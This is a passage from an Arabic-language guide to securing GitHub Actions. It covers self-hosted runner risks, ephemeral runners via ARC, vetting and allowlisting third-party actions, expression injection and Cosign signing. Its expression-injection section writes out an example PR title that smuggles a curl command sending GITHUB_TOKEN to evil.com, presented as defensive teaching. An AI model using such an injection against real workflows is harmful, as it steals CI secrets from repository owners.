\u0627\u0644\u0640 runners \u0630\u0627\u062a\u064a\u0629 \u0627\u0644\u0627\u0633\u062a\u0636\u0627\u0641\u0629 \u0639\u0644\u0649 \u0628\u0646\u064a\u062a\u0643 \u0627\u0644\u062a\u062d\u062a\u064a\u0629 \u0627\u0644\u062e\u0627\u0635\u0629. \u0648\u0647\u064a \u062a\u0648\u0641\u0651\u0631 \u062a\u062d\u0643\u0651\u0645\u064b\u0627 \u0623\u0643\u0628\u0631 \u0648\u0642\u062f \u062a\u0643\u0648\u0646 \u0623\u0631\u062e\u0635 \u0639\u0644\u0649 \u0646\u0637\u0627\u0642 \u0648\u0627\u0633\u0639\u060c \u0644\u0643\u0646\u0647\u0627 \u062a\u064f\u062f\u062e\u0650\u0644 \u0645\u062e\u0627\u0637\u0631 \u0623\u0645\u0646\u064a\u0629 \u0643\u0628\u064a\u0631\u0629:<\/p>\n\n<ul class=\"wp-block-list\">\n<li><strong>\u0627\u0644\u0627\u0633\u062a\u0645\u0631\u0627\u0631\u064a\u0629<\/strong> \u2014 \u0625\u0630\u0627 \u0644\u0645 \u064a\u0643\u0646 \u0627\u0644\u0640 runner \u0632\u0627\u0626\u0644\u064b\u0627\u060c \u0641\u0628\u0625\u0645\u0643\u0627\u0646 workflow \u0645\u062e\u062a\u0631\u064e\u0642 \u0632\u0631\u0639 \u0623\u0628\u0648\u0627\u0628 \u062e\u0644\u0641\u064a\u0629 (backdoors) \u062a\u0624\u062b\u0631 \u0641\u064a \u0639\u0645\u0644\u064a\u0627\u062a \u0627\u0644\u062a\u0634\u063a\u064a\u0644 \u0627\u0644\u0645\u0633\u062a\u0642\u0628\u0644\u064a\u0629.<\/li>\n<li><strong>\u0627\u0644\u062d\u0627\u0644\u0629 \u0627\u0644\u0645\u0634\u062a\u0631\u0643\u0629<\/strong> \u2014 \u0642\u062f \u062a\u0643\u0648\u0646 \u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0644\u0627\u0639\u062a\u0645\u0627\u062f \u0648\u0627\u0644\u0630\u0648\u0627\u0643\u0631 \u0627\u0644\u0645\u0624\u0642\u062a\u0629 (caches) \u0648\u0627\u0644\u0645\u062e\u0631\u062c\u0627\u062a \u0645\u0646 \u0627\u0644\u0648\u0638\u0627\u0626\u0641 \u0627\u0644\u0633\u0627\u0628\u0642\u0629 \u0642\u0627\u0628\u0644\u0629 \u0644\u0644\u0648\u0635\u0648\u0644.<\/li>\n<li><strong>\u0627\u0644\u0648\u0635\u0648\u0644 \u0627\u0644\u0634\u0628\u0643\u064a<\/strong> \u2014 \u063a\u0627\u0644\u0628\u064b\u0627 \u0645\u0627 \u062a\u0645\u0644\u0643 \u0627\u0644\u0640 runners \u0630\u0627\u062a\u064a\u0629 \u0627\u0644\u0627\u0633\u062a\u0636\u0627\u0641\u0629 \u0648\u0635\u0648\u0644\u064b\u0627 \u0625\u0644\u0649 \u0627\u0644\u0634\u0628\u0643\u0627\u062a \u0627\u0644\u062f\u0627\u062e\u0644\u064a\u0629 \u0648\u0642\u0648\u0627\u0639\u062f \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a \u0648\u0627\u0644\u062e\u062f\u0645\u0627\u062a \u0627\u0644\u062a\u064a \u0644\u0627 \u062a\u0633\u062a\u0637\u064a\u0639 \u0627\u0644\u0640 runners \u0627\u0644\u0645\u0633\u062a\u0636\u0627\u0641\u0629 \u0645\u0646 GitHub \u0628\u0644\u0648\u063a\u0647\u0627.<\/li>\n<li><strong>\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0627\u0644\u0640 Forks<\/strong> \u2014 \u0625\u0630\u0627 \u0627\u0633\u062a\u062e\u062f\u0645 \u0645\u0633\u062a\u0648\u062f\u0639 \u0639\u0627\u0645 runners \u0630\u0627\u062a\u064a\u0629 \u0627\u0644\u0627\u0633\u062a\u0636\u0627\u0641\u0629 \u0648\u0633\u0645\u062d \u0628\u0640 pull requests \u0645\u0646 forks\u060c \u0641\u0628\u0625\u0645\u0643\u0627\u0646 \u0623\u064a \u0634\u062e\u0635 \u062a\u0634\u063a\u064a\u0644 \u0634\u064a\u0641\u0631\u0629 \u0639\u0634\u0648\u0627\u0626\u064a\u0629 \u0639\u0644\u0649 \u0628\u0646\u064a\u062a\u0643 \u0627\u0644\u062a\u062d\u062a\u064a\u0629.<\/li>\n<\/ul>\n\n<h3 class=\"wp-block-heading\">\u0627\u0644\u0640 Runners \u0627\u0644\u0632\u0627\u0626\u0644\u0629 \u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 Actions Runner Controller (ARC)<\/h3>\n\n<p class=\"wp-block-paragraph\">\u0623\u0641\u0636\u0644 \u0646\u0647\u062c \u0644\u0644\u0640 runners \u0630\u0627\u062a\u064a\u0629 \u0627\u0644\u0627\u0633\u062a\u0636\u0627\u0641\u0629 \u0647\u0648 \u062c\u0639\u0644\u0647\u0627 <strong>\u0632\u0627\u0626\u0644\u0629 (ephemeral)<\/strong>. \u064a\u0639\u0645\u0644 Actions Runner Controller (ARC) \u0639\u0644\u0649 Kubernetes \u0648\u064a\u0647\u064a\u0651\u0626 pod runner \u062c\u062f\u064a\u062f\u064b\u0627 \u0644\u0643\u0644 \u0648\u0638\u064a\u0641\u0629. \u0648\u0639\u0646\u062f \u0627\u0643\u062a\u0645\u0627\u0644 \u0627\u0644\u0648\u0638\u064a\u0641\u0629\u060c \u064a\u064f\u062f\u0645\u064e\u0651\u0631 \u0627\u0644\u0640 pod \u2014 \u062a\u0645\u0627\u0645\u064b\u0627 \u0645\u062b\u0644 runner \u0645\u0633\u062a\u0636\u0627\u0641 \u0645\u0646 GitHub\u060c \u0644\u0643\u0646 \u0639\u0644\u0649 \u0628\u0646\u064a\u062a\u0643 \u0627\u0644\u062a\u062d\u062a\u064a\u0629 \u0627\u0644\u062e\u0627\u0635\u0629.<\/p>\n\n<p class=\"wp-block-paragraph\">\u0645\u0645\u0627\u0631\u0633\u0627\u062a \u0623\u0645\u0627\u0646 ARC \u0627\u0644\u0623\u0633\u0627\u0633\u064a\u0629:<\/p>\n\n<ul class=\"wp-block-list\">\n<li>\u0627\u0633\u062a\u062e\u062f\u0645 \u0648\u0636\u0639 Kubernetes (containerMode) \u0644\u0623\u0642\u0635\u0649 \u0642\u062f\u0631 \u0645\u0646 \u0627\u0644\u0639\u0632\u0644.<\/li>\n<li>\u0627\u0636\u0628\u0637 \u062d\u062f\u0648\u062f \u0627\u0644\u0645\u0648\u0627\u0631\u062f \u0644\u0645\u0646\u0639 \u0625\u0633\u0627\u0621\u0629 \u0627\u0633\u062a\u062e\u062f\u0627\u0645\u0647\u0627 \u0641\u064a \u062a\u0639\u062f\u064a\u0646 \u0627\u0644\u0639\u0645\u0644\u0627\u062a \u0627\u0644\u0645\u0634\u0641\u0651\u0631\u0629.<\/li>\n<li>\u0627\u0633\u062a\u062e\u062f\u0645 \u0633\u064a\u0627\u0633\u0627\u062a \u0627\u0644\u0634\u0628\u0643\u0629 (network policies) \u0644\u062a\u0642\u064a\u064a\u062f \u0627\u0644\u062e\u0631\u0648\u062c (egress) \u0645\u0646 pods \u0627\u0644\u0640 runner.<\/li>\n<li>\u0627\u062d\u0635\u0631 \u0645\u062c\u0645\u0648\u0639\u0627\u062a \u0627\u0644\u0640 runner \u0641\u064a \u0645\u0633\u062a\u0648\u062f\u0639\u0627\u062a \u0645\u062d\u062f\u062f\u0629.<\/li>\n<li>\u0644\u0627 \u062a\u064f\u0633\u0646\u0650\u062f \u0623\u0628\u062f\u064b\u0627 runners \u0630\u0627\u062a\u064a\u0629 \u0627\u0644\u0627\u0633\u062a\u0636\u0627\u0641\u0629 \u0625\u0644\u0649 \u0645\u0633\u062a\u0648\u062f\u0639\u0627\u062a \u0639\u0627\u0645\u0629 \u0625\u0644\u0627 \u0625\u0630\u0627 \u0643\u0627\u0646\u062a \u0632\u0627\u0626\u0644\u0629 \u0628\u0627\u0644\u0643\u0627\u0645\u0644.<\/li>\n<\/ul>\n\n<p class=\"wp-block-paragraph\">\u0644\u0644\u0627\u0637\u0644\u0627\u0639 \u0639\u0644\u0649 \u062f\u0644\u064a\u0644 \u0643\u0627\u0645\u0644 \u062d\u0648\u0644 \u0645\u0639\u0645\u0627\u0631\u064a\u0629 \u0623\u0645\u0627\u0646 \u0627\u0644\u0640 runner\u060c \u0631\u0627\u062c\u0639 <a href=\"https:\/\/secure-pipelines.com\/ar\/github-actions\/securing-github-actions-runners\/\">\u062a\u0623\u0645\u064a\u0646 runners \u0627\u0644\u062e\u0627\u0635\u0629 \u0628\u0640 GitHub Actions<\/a>. \u0648\u0644\u0646\u0634\u0631 runners \u0632\u0627\u0626\u0644\u0629 \u0639\u0645\u0644\u064a\u064b\u0627\u060c \u0627\u0639\u0645\u0644 \u0639\u0644\u0649 <a href=\"https:\/\/secure-pipelines.com\/ar\/ci-cd-security\/lab-ephemeral-self-hosted-runners-actions-runner-controller\/\">\u0627\u0644\u0645\u062e\u062a\u0628\u0631: runners \u0632\u0627\u0626\u0644\u0629 \u0630\u0627\u062a\u064a\u0629 \u0627\u0644\u0627\u0633\u062a\u0636\u0627\u0641\u0629 \u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 Actions Runner Controller<\/a>.<\/p>\n\n<h2 class=\"wp-block-heading\">\u0633\u0644\u0627\u0645\u0629 \u0627\u0644\u0625\u062c\u0631\u0627\u0621\u0627\u062a \u0627\u0644\u062e\u0627\u0631\u062c\u064a\u0629 (Third-Party Actions)<\/h2>\n\n<p class=\"wp-block-paragraph\">\u0643\u0644 \u0625\u062c\u0631\u0627\u0621 \u062e\u0627\u0631\u062c\u064a \u062a\u0634\u064a\u0631 \u0625\u0644\u064a\u0647 \u0641\u064a workflow \u0647\u0648 \u0634\u064a\u0641\u0631\u0629 \u062a\u0639\u0645\u0644 \u062f\u0627\u062e\u0644 \u062e\u0637 \u0623\u0646\u0627\u0628\u064a\u0628 CI\/CD \u0644\u062f\u064a\u0643 \u0645\u0639 \u0648\u0635\u0648\u0644 \u0625\u0644\u0649 \u0634\u064a\u0641\u0631\u062a\u0643 \u0627\u0644\u0645\u0635\u062f\u0631\u064a\u0629 \u0648\u0623\u0633\u0631\u0627\u0631\u0643 \u0648\u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0639\u062a\u0645\u0627\u062f \u0627\u0644\u0646\u0634\u0631. \u0648\u0645\u0646 \u0627\u0644\u0636\u0631\u0648\u0631\u064a \u0627\u0644\u062a\u0639\u0627\u0645\u0644 \u0645\u0639 \u0627\u0644\u0625\u062c\u0631\u0627\u0621\u0627\u062a \u0627\u0644\u062e\u0627\u0631\u062c\u064a\u0629 \u0643\u0623\u064a \u0627\u0639\u062a\u0645\u0627\u062f\u064a\u0629 \u0628\u0631\u0645\u062c\u064a\u0629 \u0623\u062e\u0631\u0649.<\/p>\n\n<h3 class=\"wp-block-heading\">\u062a\u062f\u0642\u064a\u0642 \u0627\u0644\u0625\u062c\u0631\u0627\u0621\u0627\u062a \u0642\u0628\u0644 \u0627\u0633\u062a\u062e\u062f\u0627\u0645\u0647\u0627<\/h3>\n\n<p class=\"wp-block-paragraph\">\u0642\u0628\u0644 \u0625\u0636\u0627\u0641\u0629 \u0623\u064a \u0625\u062c\u0631\u0627\u0621 \u062e\u0627\u0631\u062c\u064a \u0625\u0644\u0649 workflows \u0644\u062f\u064a\u0643:<\/p>\n\n<ol class=\"wp-block-list\">\n<li><strong>\u0631\u0627\u062c\u0639 \u0627\u0644\u0634\u064a\u0641\u0631\u0629 \u0627\u0644\u0645\u0635\u062f\u0631\u064a\u0629<\/strong> \u2014 \u062a\u062d\u0642\u0651\u0642 \u0645\u0645\u0627 \u064a\u0641\u0639\u0644\u0647 \u0627\u0644\u0625\u062c\u0631\u0627\u0621 \u0641\u0639\u0644\u064a\u064b\u0627. \u0627\u0628\u062d\u062b \u0639\u0646 \u0627\u0644\u0627\u062a\u0635\u0627\u0644\u0627\u062a \u0627\u0644\u0634\u0628\u0643\u064a\u0629\u060c \u0648\u0627\u0644\u0648\u0635\u0648\u0644 \u0625\u0644\u0649 \u0627\u0644\u0623\u0633\u0631\u0627\u0631\u060c \u0648\u062a\u0639\u062f\u064a\u0644\u0627\u062a \u0627\u0644\u0645\u0644\u0641\u0627\u062a.<\/li>\n<li><strong>\u062a\u062d\u0642\u0651\u0642 \u0645\u0646 \u0627\u0644\u0645\u0634\u0631\u0641<\/strong> \u2014 \u0647\u0644 \u0647\u0648 \u0645\u0646\u0634\u0626 \u0645\u0648\u062b\u0651\u0642 (verified creator)\u061f \u0648\u0647\u0644 \u0627\u0644\u0645\u0633\u062a\u0648\u062f\u0639 \u0645\u0635\u0627\u0646 \u0628\u0646\u0634\u0627\u0637\u061f \u0648\u0628\u0623\u064a \u0633\u0631\u0639\u0629 \u062a\u064f\u0639\u0627\u0644\u064e\u062c \u0627\u0644\u0642\u0636\u0627\u064a\u0627 \u0627\u0644\u0623\u0645\u0646\u064a\u0629\u061f<\/li>\n<li><strong>\u0627\u0641\u062d\u0635 \u0627\u0644\u0635\u0644\u0627\u062d\u064a\u0627\u062a \u0627\u0644\u062a\u064a \u064a\u0637\u0644\u0628\u0647\u0627<\/strong> \u2014 \u0647\u0644 \u064a\u062d\u062a\u0627\u062c \u0625\u062c\u0631\u0627\u0621 &#8220;\u0644\u0648\u0633\u0645 \u0627\u0644\u0640 PRs&#8221; \u0625\u0644\u0649 <code>contents: write<\/code>\u061f \u0647\u0630\u0627 \u0645\u0624\u0634\u0631 \u062e\u0637\u0631.<\/li>\n<li><strong>\u0627\u0628\u062d\u062b \u0639\u0646 \u0633\u064a\u0627\u0633\u0627\u062a \u0623\u0645\u0646\u064a\u0629 \u0645\u0646\u0634\u0648\u0631\u0629<\/strong> \u2014 \u0647\u0644 \u064a\u0645\u062a\u0644\u0643 \u0645\u0633\u062a\u0648\u062f\u0639 \u0627\u0644\u0625\u062c\u0631\u0627\u0621 \u0645\u0644\u0641 SECURITY.md\u061f \u0648\u0647\u0644 \u062a\u0648\u062c\u062f \u0639\u0645\u0644\u064a\u0627\u062a \u0644\u0644\u0625\u0641\u0635\u0627\u062d \u0639\u0646 \u0627\u0644\u062b\u063a\u0631\u0627\u062a\u061f<\/li>\n<li><strong>\u062b\u0628\u0651\u062a \u0639\u0644\u0649 SHA<\/strong> \u2014 \u062b\u0628\u0651\u062a \u062f\u0627\u0626\u0645\u064b\u0627\u060c \u062d\u062a\u0649 \u0628\u0639\u062f \u0627\u0644\u062a\u062f\u0642\u064a\u0642. \u0641\u0627\u0644\u0634\u064a\u0641\u0631\u0629 \u0642\u062f \u062a\u062a\u063a\u064a\u0631 \u0628\u0639\u062f \u0645\u0631\u0627\u062c\u0639\u062a\u0643.<\/li>\n<\/ol>\n\n<h3 class=\"wp-block-heading\">\u062a\u0637\u0628\u064a\u0642 \u0642\u0648\u0627\u0626\u0645 \u0627\u0644\u0633\u0645\u0627\u062d \u0644\u0644\u0625\u062c\u0631\u0627\u0621\u0627\u062a (Allowlists)<\/h3>\n\n<p class=\"wp-block-paragraph\">\u0639\u0644\u0649 \u0645\u0633\u062a\u0648\u0649 \u0627\u0644\u0645\u0624\u0633\u0633\u0629\u060c \u062a\u062a\u064a\u062d \u0644\u0643 GitHub \u062a\u0642\u064a\u064a\u062f \u0627\u0644\u0625\u062c\u0631\u0627\u0621\u0627\u062a \u0627\u0644\u062a\u064a \u064a\u0645\u0643\u0646 \u0627\u0633\u062a\u062e\u062f\u0627\u0645\u0647\u0627. \u0627\u0646\u062a\u0642\u0644 \u0625\u0644\u0649 <strong>Organization Settings \u2192 Actions \u2192 General \u2192 Policies<\/strong> \u0648\u0627\u0636\u0628\u0637 \u0642\u0627\u0626\u0645\u0629 \u0633\u0645\u0627\u062d. \u0648\u062a\u0634\u0645\u0644 \u0627\u0644\u062e\u064a\u0627\u0631\u0627\u062a:<\/p>\n\n<ul class=\"wp-block-list\">\n<li>\u0627\u0644\u0633\u0645\u0627\u062d \u0641\u0642\u0637 \u0628\u0627\u0644\u0625\u062c\u0631\u0627\u0621\u0627\u062a \u0627\u0644\u062a\u064a \u0623\u0646\u0634\u0623\u062a\u0647\u0627 GitHub.<\/li>\n<li>\u0627\u0644\u0633\u0645\u0627\u062d \u0628\u0627\u0644\u0625\u062c\u0631\u0627\u0621\u0627\u062a \u0645\u0646 \u0627\u0644\u0645\u0646\u0634\u0626\u064a\u0646 \u0627\u0644\u0645\u0648\u062b\u0651\u0642\u064a\u0646 \u0625\u0636\u0627\u0641\u0629\u064b \u0625\u0644\u0649 \u0642\u0627\u0626\u0645\u0629 \u0633\u0645\u0627\u062d \u0645\u062d\u062f\u062f\u0629.<\/li>\n<li>\u0627\u0644\u0633\u0645\u0627\u062d \u0641\u0642\u0637 \u0628\u0625\u062c\u0631\u0627\u0621\u0627\u062a \u0645\u062d\u062f\u062f\u0629 \u0639\u0628\u0631 \u0645\u0631\u062c\u0639\u0647\u0627 \u0627\u0644\u0643\u0627\u0645\u0644.<\/li>\n<\/ul>\n\n<p class=\"wp-block-paragraph\">\u0628\u0627\u0644\u0646\u0633\u0628\u0629 \u0644\u0644\u0645\u0624\u0633\u0633\u0627\u062a\u060c \u062a\u064f\u0639\u062f \u0642\u0627\u0626\u0645\u0629 \u0627\u0644\u0633\u0645\u0627\u062d \u062a\u062d\u0643\u0651\u0645\u064b\u0627 \u0628\u0627\u0644\u063a \u0627\u0644\u0623\u0647\u0645\u064a\u0629. \u0641\u0647\u064a \u062a\u0645\u0646\u0639 \u0627\u0644\u0645\u0637\u0648\u0631\u064a\u0646 \u0645\u0646 \u0625\u0636\u0627\u0641\u0629 \u0625\u062c\u0631\u0627\u0621\u0627\u062a \u063a\u064a\u0631 \u0645\u064f\u062f\u0642\u064e\u0651\u0642\u0629 \u0625\u0644\u0649 \u0627\u0644\u0640 workflows \u0628\u0627\u0633\u062a\u062e\u0641\u0627\u0641\u060c \u0648\u062a\u0648\u0641\u0651\u0631 \u0639\u0645\u0644\u064a\u0629 \u0645\u0648\u0627\u0641\u0642\u0629 \u0645\u0631\u0643\u0632\u064a\u0629 \u0644\u0627\u0639\u062a\u0645\u0627\u062f\u064a\u0627\u062a \u0627\u0644\u0625\u062c\u0631\u0627\u0621\u0627\u062a \u0627\u0644\u062c\u062f\u064a\u062f\u0629.<\/p>\n\n<p class=\"wp-block-paragraph\">\u0644\u0644\u062a\u0645\u0631\u0651\u0646 \u0639\u0644\u0649 \u0643\u0634\u0641 \u0627\u0644\u0633\u0644\u0648\u0643 \u0627\u0644\u062e\u0628\u064a\u062b \u0641\u064a GitHub Actions \u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u062a\u0642\u0646\u064a\u0627\u062a \u0627\u0644\u062a\u062d\u0644\u064a\u0644 \u0627\u0644\u0633\u0627\u0643\u0646 (static analysis)\u060c \u0623\u0643\u0645\u0650\u0644 <a href=\"https:\/\/secure-pipelines.com\/ar\/ci-cd-security\/lab-detecting-malicious-github-actions-static-analysis\/\">\u0627\u0644\u0645\u062e\u062a\u0628\u0631: \u0643\u0634\u0641 \u0625\u062c\u0631\u0627\u0621\u0627\u062a GitHub \u0627\u0644\u062e\u0628\u064a\u062b\u0629 \u0639\u0628\u0631 \u0627\u0644\u062a\u062d\u0644\u064a\u0644 \u0627\u0644\u0633\u0627\u0643\u0646<\/a>.<\/p>\n\n<h2 class=\"wp-block-heading\">\u062d\u0642\u0646 \u0627\u0644\u062a\u0639\u0627\u0628\u064a\u0631 (Expression Injection)<\/h2>\n\n<p class=\"wp-block-paragraph\">\u062d\u0642\u0646 \u0627\u0644\u062a\u0639\u0627\u0628\u064a\u0631 \u0645\u0646 \u0623\u0643\u062b\u0631 \u0627\u0644\u062b\u063a\u0631\u0627\u062a \u0634\u064a\u0648\u0639\u064b\u0627 \u0648\u062e\u0637\u0648\u0631\u0629\u064b \u0641\u064a workflows \u0627\u0644\u062e\u0627\u0635\u0629 \u0628\u0640 GitHub Actions. \u0648\u064a\u062d\u062f\u062b \u0639\u0646\u062f \u0625\u062f\u0631\u0627\u062c \u0645\u062f\u062e\u0644\u0627\u062a \u063a\u064a\u0631 \u0645\u0648\u062b\u0648\u0642\u0629 \u0645\u0628\u0627\u0634\u0631\u0629\u064b \u062f\u0627\u062e\u0644 \u062a\u0639\u0628\u064a\u0631 workflow \u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0635\u064a\u0627\u063a\u0629 <code>${{ }}<\/code>.<\/p>\n\n<h3 class=\"wp-block-heading\">\u0643\u064a\u0641 \u064a\u0639\u0645\u0644 \u062d\u0642\u0646 \u0627\u0644\u062a\u0639\u0627\u0628\u064a\u0631<\/h3>\n\n<p class=\"wp-block-paragraph\">\u062a\u064f\u0642\u064a\u064e\u0651\u0645 \u062a\u0639\u0627\u0628\u064a\u0631 GitHub Actions <em>\u0642\u0628\u0644<\/em> \u0623\u0646 \u064a\u0631\u0627\u0647\u0627 \u0627\u0644\u0640 shell. \u0641\u0639\u0646\u062f\u0645\u0627 \u062a\u0643\u062a\u0628:<\/p>\n\n<pre><code>- run: echo \"Hello ${{ github.event.pull_request.title }}\"<\/code><\/pre>\n\n<p class=\"wp-block-paragraph\">\u064a\u064f\u0633\u062a\u0628\u062f\u064e\u0644 \u0627\u0644\u062a\u0639\u0628\u064a\u0631 \u0628\u0639\u0646\u0648\u0627\u0646 \u0627\u0644\u0640 PR \u0627\u0644\u062d\u0631\u0641\u064a \u0642\u0628\u0644 \u0625\u0646\u0634\u0627\u0621 \u0623\u0645\u0631 \u0627\u0644\u0640 shell. \u0641\u0625\u0630\u0627 \u0623\u0646\u0634\u0623 \u0645\u0647\u0627\u062c\u0645 PR \u0628\u0627\u0644\u0639\u0646\u0648\u0627\u0646 \u0627\u0644\u062a\u0627\u0644\u064a:<\/p>\n\n<pre><code>\"; curl http:\/\/evil.com\/steal?token=$GITHUB_TOKEN; echo \"<\/code><\/pre>\n\n<p class=\"wp-block-paragraph\">\u064a\u0635\u0628\u062d \u0623\u0645\u0631 \u0627\u0644\u0640 shell \u0627\u0644\u0646\u0627\u062a\u062c:<\/p>\n\n<pre><code>echo \"Hello \"; curl http:\/\/evil.com\/steal?token=$GITHUB_TOKEN; echo \"\"<\/code><\/pre>\n\n<p class=\"wp-block-paragraph\">\u0648\u0628\u0630\u0644\u0643 \u064a\u0643\u0648\u0646 \u0627\u0644\u0645\u0647\u0627\u062c\u0645 \u0642\u062f \u062d\u0642\u0646 \u0623\u0648\u0627\u0645\u0631 shell \u0639\u0634\u0648\u0627\u0626\u064a\u0629 \u0641\u064a \u0627\u0644\u0640 workflow \u0644\u062f\u064a\u0643.<\/p>\n\n<h3 class=\"wp-block-heading\">\u0627\u0644\u0633\u064a\u0627\u0642\u0627\u062a \u0627\u0644\u0645\u0639\u0631\u0651\u0636\u0629 \u0644\u0644\u062e\u0637\u0631<\/h3>\n\n<p class=\"wp-block-paragraph\">\u0642\u064a\u0645 \u0633\u064a\u0627\u0642 GitHub \u0627\u0644\u062a\u0627\u0644\u064a\u0629 \u064a\u062a\u062d\u0643\u0645 \u0628\u0647\u0627 \u0627\u0644\u0645\u0647\u0627\u062c\u0645 \u0648<strong>\u0644\u0627<\/strong> \u064a\u0646\u0628\u063a\u064a \u0627\u0633\u062a\u062e\u062f\u0627\u0645\u0647\u0627 \u0645\u0628\u0627\u0634\u0631\u0629\u064b \u0641\u064a \u0643\u062a\u0644 <code>run:<\/code>:<\/p>\n\n<ul class=\"wp-block-list\">\n<li><code>github.event.pull_request.title<\/code><\/li>\n<li><code>github.event.pull_request.body<\/code><\/li>\n<li><code>github.event.issue.title<\/code><\/li>\n<li><code>github.event.issue.body<\/code><\/li>\n<li><code>github.event.comment.body<\/code><\/li>\n<li><code>github.event.review.body<\/code><\/li>\n<li><code>github.event.head_commit.message<\/code><\/li>\n<li><code>github.head_ref<\/code> (\u0627\u0633\u0645 \u0627\u0644\u0641\u0631\u0639 \u2014 \u064a\u062a\u062d\u0643\u0645 \u0628\u0647 \u0627\u0644\u0645\u0647\u0627\u062c\u0645 \u0641\u064a \u0627\u0644\u0640 forks)<\/li>\n<\/ul>\n\n<h3 class=\"wp-block-heading\">\u0627\u0644\u062d\u0644: \u0645\u062a\u063a\u064a\u0631\u0627\u062a \u0627\u0644\u0628\u064a\u0626\u0629<\/h3>\n\n<p class=\"wp-block-paragraph\">\u0628\u062f\u0644\u064b\u0627 \u0645\u0646 \u0625\u062f\u0631\u0627\u062c \u0627\u0644\u062a\u0639\u0627\u0628\u064a\u0631 \u062f\u0627\u062e\u0644 \u0643\u062a\u0644 <code>run:<\/code>\u060c \u0645\u0631\u0651\u0631\u0647\u0627 \u0639\u0628\u0631 \u0645\u062a\u063a\u064a\u0631\u0627\u062a \u0627\u0644\u0628\u064a\u0626\u0629:<\/p>\n\n<pre><code># Vulnerable\n- run: echo \"PR title: ${{ github.event.pull_request.title }}\"\n\n# Safe\n- run: echo \"PR title: $PR_TITLE\"\n  env:\n    PR_TITLE: ${{ github.event.pull_request.title }}\n<\/code><\/pre>\n\n<p class=\"wp-block-paragraph\">\u0639\u0646\u062f\u0645\u0627 \u062a\u064f\u0645\u0631\u064e\u0651\u0631 \u0627\u0644\u0642\u064a\u0645\u0629 \u0639\u0628\u0631 \u0645\u062a\u063a\u064a\u0631 \u0628\u064a\u0626\u0629\u060c \u064a\u062a\u0639\u0627\u0645\u0644 \u0627\u0644\u0640 shell \u0645\u0639\u0647\u0627 \u0643\u0633\u0644\u0633\u0644\u0629 \u0646\u0635\u064a\u0629 \u062d\u0631\u0641\u064a\u0629\u060c \u0644\u0627 \u0643\u0634\u064a\u0641\u0631\u0629 \u0644\u0644\u062a\u0646\u0641\u064a\u0630. \u0648\u0647\u0630\u0627 \u064a\u0645\u0646\u0639 \u0627\u0644\u062d\u0642\u0646 \u062a\u0645\u0627\u0645\u064b\u0627.<\/p>\n\n<h2 class=\"wp-block-heading\">\u0623\u0645\u0646 \u0633\u0644\u0633\u0644\u0629 \u0627\u0644\u062a\u0648\u0631\u064a\u062f: \u0627\u0644\u062a\u0648\u0642\u064a\u0639 \u0648\u0627\u0644\u0625\u062b\u0628\u0627\u062a (Provenance)<\/h2>\n\n<p class=\"wp-block-paragraph\">\u062a\u0623\u0645\u064a\u0646 \u062e\u0637 \u0623\u0646\u0627\u0628\u064a\u0628 CI\/CD \u0644\u0627 \u064a\u0642\u062a\u0635\u0631 \u0639\u0644\u0649 \u062d\u0645\u0627\u064a\u0629 \u062e\u0637 \u0627\u0644\u0623\u0646\u0627\u0628\u064a\u0628 \u0646\u0641\u0633\u0647 \u2014 \u0628\u0644 \u064a\u062a\u0639\u0644\u0642 \u0628\u0636\u0645\u0627\u0646 \u0623\u0646 \u0627\u0644\u0645\u062e\u0631\u062c\u0627\u062a (artifacts) \u0627\u0644\u062a\u064a \u064a\u0646\u062a\u062c\u0647\u0627 \u062e\u0637 \u0627\u0644\u0623\u0646\u0627\u0628\u064a\u0628 \u062c\u062f\u064a\u0631\u0629 \u0628\u0627\u0644\u062b\u0642\u0629. \u0648\u064a\u0634\u0645\u0644 \u0623\u0645\u0646 \u0633\u0644\u0633\u0644\u0629 \u0627\u0644\u062a\u0648\u0631\u064a\u062f \u0641\u064a GitHub Actions \u062a\u0648\u0642\u064a\u0639 \u0627\u0644\u0645\u062e\u0631\u062c\u0627\u062a\u060c \u0648\u0625\u062b\u0628\u0627\u062a \u0627\u0644\u0645\u0646\u0634\u0623 (provenance attestation)\u060c \u0648\u0627\u0644\u062a\u062d\u0642\u0642.<\/p>\n\n<h3 class=\"wp-block-heading\">\u062a\u0648\u0642\u064a\u0639 \u0627\u0644\u0645\u062e\u0631\u062c\u0627\u062a \u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 Cosign \u0648Sigstore<\/h3>\n\n<p class=\"wp-block-paragraph\">\u064a\u062a\u064a\u062d Cosign\u060c \u0648\u0647\u0648 \u062c\u0632\u0621 \u0645\u0646 \u0645\u0634\u0631\u0648\u0639 Sigstore\u060c \u0627\u0644\u062a\u0648\u0642\u064a\u0639 \u0645\u0646 \u062f\u0648\u0646 \u0645\u0641\u0627\u062a\u064a\u062d (keyless) \u0644\u0635\u0648\u0631 \u0627\u0644\u062d\u0627\u0648\u064a\u0627\u062a \u0648\u063a\u064a\u0631\u0647\u0627 \u0645\u0646 \u0627\u0644\u0645\u062e\u0631\u062c\u0627\u062a \u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0647\u0648\u064a\u0627\u062a OIDC. \u0648\u0641\u064a GitHub Actions\u060c \u064a\u0639\u0646\u064a \u0630\u0644\u0643 \u0623\u0646 \u0647\u0648\u064a\u0629 \u0627\u0644\u0640 workflow \u0644\u062f\u064a\u0643 (\u0627\u0644\u0645\u0633\u062a\u0648\u062f\u0639 \u0648\u0627\u0644\u0641\u0631\u0639 \u0648\u0627\u0644\u0640 workflow) \u062a\u0635\u0628\u062d \u0647\u0648\u064a\u0629 \u0627\u0644\u062a\u0648\u0642\u064a\u0639 \u2014 \u0645\u0646 \u062f\u0648\u0646 \u0645\u0641\u0627\u062a\u064a\u062d \u062a\u0648\u0642\u064a\u0639 \u062b\u0627\u0628\u062a\u0629 \u062a\u062f\u064a\u0631\u0647\u0627 \u0623\u0648 \u062a\u062d\u0645\u064a\u0647\u0627.<\/p>\n\n<pre><code>steps:\n  - uses: sigstore\/cosign-installer@v3\n  - run: cosign sign --yes ${{ env.IMAGE_REF }}\n    env:\n      COSIGN_EXPERIMENTAL: 1\n<\/code><\/pre>\n\n<p class=\"wp-block-paragraph\">\u064a\u064f\u062e\u0632\u064e\u0651\u0646 \u0627\u0644\u062a\u0648\u0642\u064a\u0639 